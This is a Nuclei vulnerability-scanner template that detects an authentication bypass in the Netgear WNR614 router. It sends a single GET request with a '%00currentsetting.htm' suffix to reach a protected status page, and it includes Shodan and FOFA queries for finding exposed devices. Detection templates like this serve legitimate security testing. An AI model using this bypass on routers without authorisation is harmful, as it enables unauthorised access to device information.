id: netgear-wnr614-auth-bypass

info:
  name: Netgear WNR614 - Improper Authentication
  author: ritikchaddha
  severity: high
  description: |
    A vulnerability in the Netgear WNR614 router permits unauthorized individuals to bypass the authentication. When adding "%00currentsetting.htm" to the the requested url, it will be recognized as passing the authentication.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/Netgear/WNR614/assets/image-20241210153405727.png
    - https://github.com/Shuanunio/CVE_Requests/blob/main/Netgear/WNR614/ACL%20bypass%20Vulnerability%20in%20Netgear%20WNR614.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    vendor: Netgear
    product: WNR614
    shodan-query: http.title:"WNR614"
    fofa-query: title="NETGEAR WNR614"
  tags: cve,cve2024,netgear,router,exposure,wnr614,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/RST_status.htm%00currentsetting.htm"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Router Information", "Show Statistics", "Internet Port")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402204bb1f11f75e749aa5736842d2fb7017620784130a0e43077ed5cd506a1279c91022054acf2835ff11e9b11850668545bb5f8768a5c13de6f10af706d62cde68b2331:922c64590222798bb761d5b6d8e72950